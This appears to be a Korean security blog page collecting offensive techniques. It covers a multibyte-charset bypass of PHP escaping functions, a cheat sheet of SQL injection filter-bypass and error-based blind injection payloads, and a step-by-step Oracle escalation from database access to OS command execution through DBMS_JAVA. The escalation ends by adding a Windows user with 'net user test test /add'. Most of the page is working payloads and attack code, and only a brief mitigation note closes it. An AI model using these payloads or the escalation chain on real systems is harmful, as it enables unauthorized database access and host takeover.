참고 URL

  • http://www.securiteam.com/unixfocus/6X00P0ANFM.html
  • http://pjongy.tistory.com/131
  • http://rootable.tistory.com/entry/addslashes-mysqlrealescapestring-%EC%9A%B0%ED%9A%8C

개요

magic_quotes_gpc 란? 

- php에서 사용되는 설정값으로 값을 입력 받을 때 필터링이 필요한 문자 앞에 백슬래시(\)를 붙임
- 기본적으로 php.ini 파일에 ON으로 설정되어 있음
- GET, POST, COOKIE 데이터 내 해당 문자가 있을 경우 필터링하여 반환함.
addslashes()와 동일 

' (싱글쿼터)
\'
" (더블쿼터)
\"
\ (백슬래시)
\\
NULL (널바이트)
\

mysql_real_escape_string() 란?

- php 내장 함수로 SQL Injection을 방어하기 위해 사용됨
- DB로 전달되는 파라미터에 필터링이 필요한 문자가 입력된 경우 이스케이프 문자(백슬래시, \)를 붙여 공격을 방어
- 위의 magic_quotes_gpc와 비슷하지만 더 많은 문자열 치환

' (싱글쿼터)
\'
" (더블쿼터)
\"
\ (백슬래시)
\\
\x00 (널바이트)
\\x00
\n (line feed )
\\n
\r (carriage return)
\r
\x1a (EOF)
\\x1a


우회

원리
  • 멀티바이트를 사용하는 언어셋 환경에서는 백슬래시(\) 앞에 %a1 ~ %fe 와 같은 값을 입력하면 %a1\를 하나의 문자로 취급함
  • 따라서, 백슬래시(\)가 사라지므로 이스케이프 처리가 되지 않아 공격자의 의도대로 SQL Injection 등의 공격이 가능해짐

예 시
입력값
magic_quotes_gpc / mysql_real_escape_string()
결과값
%aa' or 1=1#
%aa\' or 1=1#
�' or 1=1#


** 이 포스팅은 추후에 필터링 패턴 발견 시 계속 추가할 예정임

1. substr 우회
   ord, right, left, mid 사용
   (ex) substr('admin',1,1) = 'a'   → left('admin',1) 

2. ascii 우회
   ord, hex 사용
   (ex) ord('admin')=97    ord()는 가장 왼쪽의 문자를 아스키코드 10진수로 전환    

3. =, like, or, and 우회
  =    like, between, in, instr 
 !=  →  <>
  or    ||  (%7c%7c)
  and    && (%26%26)

4. 빈칸(공백) 우회
  ' '    ( ), /**/, %09, %0a, %0b, %0c, %0d, %a0, +, %20, 
  주석(-- -, #)    ;%00

5. ' (싱글쿼터) 우회
  '     %27, char, " (더블쿼터)

6. ereg, eregi 우회  : case-sensitive
  - 특수문자  %00(널바이트) : %00(널바이트)까지 패턴 검색
  - 문자열  대소문자 변경

7. preg_match 우회
 \ 

TIP

  • 영어가 아닌 문자 Blind-Injection 시, 한글자 당 바이트 추출: length(mid(pw,1,1))=4
  • error based SQL Injection
    •  ' or id='admin' and if((select id='admin' and length(pw)=16),true,(select 1 union select 2))#
    •  ' or id='admin'&&power((length(pw)>10)+1,999999999999999999)#

참조 URL

  • 여러 우회패턴 정리 : http://blog.daum.net/bada0217/149
  • 워게임 사이트 - 여러 우회패턴을 익히는데 유용 : http://los.eagle-jump.org


권한 상승 과정

전제조건 및 NOTE
  • 다음의 명령어를 실행시킬 DB 사용자가 최소한 JAVA_ADMIN과 CREATE PROCEDURE 권한을 가지고 있어야함 (DBA 권한 가지고 있으면 가능)
  • ORACLE 8i 이상에서만 실행 가능
  • Oracle Express Edition에서도 실행 불가 (DBMA_JAVA 기능이 없음)

  • 새로운 사용자를 생성해서 다음의 과정을 실행하는 경우, 각각의 명령어에 대한 삭제 과정은 필요없이 DROP USER TESTEST(계정명) cascade; 하면 전부 삭제 가능
  • 각 명령어 실행시 '/' 가 있어야 명령어 종료 및 실행 가능

상세 과정 및 설명
0) 사용자의 권한 확인
    - select * from DBA_SYS_PRIVS where grantee='testest';
    - select * from DBA_JAVA_POLICY where grantee='testest';

1) PL / SQL 사용하여 권한 설정 변경   ** JAVA_ADMIN권한 없으면 사용 불가 (DBMS_JAVA package에 대한 권한 부여가 가능한 권한)
  • DBMS_JAVA 사용관련 권한 설명 -  https://www.experts-exchange.com/questions/24604377/dbms-java-grant-permission-has-errors.html 

            ※  DBA 권한 부여  => GRANT DBA TO TESTEST(USER); -> 권한 확인 시 UNLIMITED TABLESPACE 권한 존재

 ※ JAVA_ADMIN 권한 부여 => GRANT JAVA_ADMIN TO TESTEST(USER);


** TESTEST에는 사용자 계정 입력
DECLARE
  l_schema VARCHAR2(30) := 'TESTEST';
BEGIN
  DBMS_JAVA.grant_permission(l_schema, 'java.io.FilePermission', '<<ALL FILES>>', 'read ,write, execute, delete');
  DBMS_JAVA.grant_permission(l_schema, 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
  DBMS_JAVA.grant_permission(l_schema, 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
END;
/

https://docs.oracle.com/javase/7/docs/api/java/io/FilePermission.html
https://docs.oracle.com/javase/7/docs/api/java/lang/RuntimePermission.html

** CMD 명령어 실행만을 원하는 경우,  
DBMS_JAVA.grant_permission(l_schema, 'java.io.FilePermission', '<<ALL FILES>>', 'execute'); 권한만!! (다른권한 필요x)

  • 명령어 정상 적용 확인
        - SELECT * FROM dba_java_policy;
        - SELECT * FROM dba_java_policy where grantee='TESTEST';

  • 공격 종료 후 부여한 권한 삭제 (**괄호 안 숫자는 SEQ# (KEY));
BEGIN
  DBMS_JAVA.disable_permission(191);
  DBMS_JAVA.delete_permission(191);
  DBMS_JAVA.disable_permission(192);
  DBMS_JAVA.delete_permission(192);
  DBMS_JAVA.disable_permission(193);
  DBMS_JAVA.delete_permission(193);
END;
/

2) 오라클에서 제공하는 "Java SOURCE"기능을 사용하여 JAVA클래스 생성 
** CREATE PROCEDURE 권한 필요!  / 다른사용자의 스키마 수정을 원하면 CREATE ANY PROCEDURE 권한 필요
------------------------------------------------------------------------------------------------------------------------
PL/SQL에서 자바(Java) 클래스(Class), 함수 실행방법
오라클에서 제공하는 "Java SOURCE"기능을 사용하여 JAVA클래스 생성, 실행이 가능함
-> JAVA클래스 생성 코드

** REPLACE는 원래 있는 코드를 대체하는 것이므로 처음 생성시에 굳이 없어도 됨.
-----------------------------------------------------------------------------------------------------------------------
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "mycmd" AS
import java.lang.*;
import java.io.*;
public class mycmd
{
public static void execCommand (String command) throws IOException
{
     Runtime.getRuntime().exec(command);
}
};
/

  • 생성 코드 확인
            - 아래 쿼리 실행하면 생성한 object_name 존재 -> select object_name, object_id from user_objects;
                                                                                        -> SELECT * FROM all_source;
                                                                                        -> SELECT * FROM all_source where name='mycmd'

            - 자신의 자바 스키마 object 생성확인 (create Java source로 생성한것) --> SELECT * FROM USER_SOURCE where type='JAVA SOURCE' ;

  • 공격 종료 후 생성한 코드 삭제
        - DROP JAVA SOURCE 'mycmd'; 

3) 프로시저 생성
--------------------------------------------------------------------------------------------------------------------------------
생성한 자바 클래스를 DB에서 실행할수 있는 방법 (함수로드 가능)
-> 프로시저에 run_cmd 생성
--------------------------------------------------------------------------------------------------------------------------------
CREATE OR REPLACE PROCEDURE run_cmd (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'mycmd.execCommand (java.lang.String)';
/

  • 공격 종료 후 생성한 프로시저 삭제
        - DROP PROCEDURE RUN_CMD;

4) 명령어 실행!!
  • exec run_cmd('net user test test /add');


대응책
  • DB 운영 계정에게 DBA 권한을 부여하지 않는다.
  • 사용자에게 꼭 필요한 최소 권한만을 부여!!

참고 URL
  • https://www.adampalmer.me/iodigitalsec/2013/08/12/first-steps-in-oracle-penetration-testing/
  • DBMS_JAVA 설명: http://www.dba-oracle.com/t_packages_dbms_java.htm


+ Recent posts